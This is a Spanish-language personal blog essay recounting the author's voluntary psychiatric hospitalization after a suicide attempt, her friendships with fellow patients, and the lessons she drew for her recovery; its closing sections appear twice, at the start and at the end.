Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
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«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
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Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
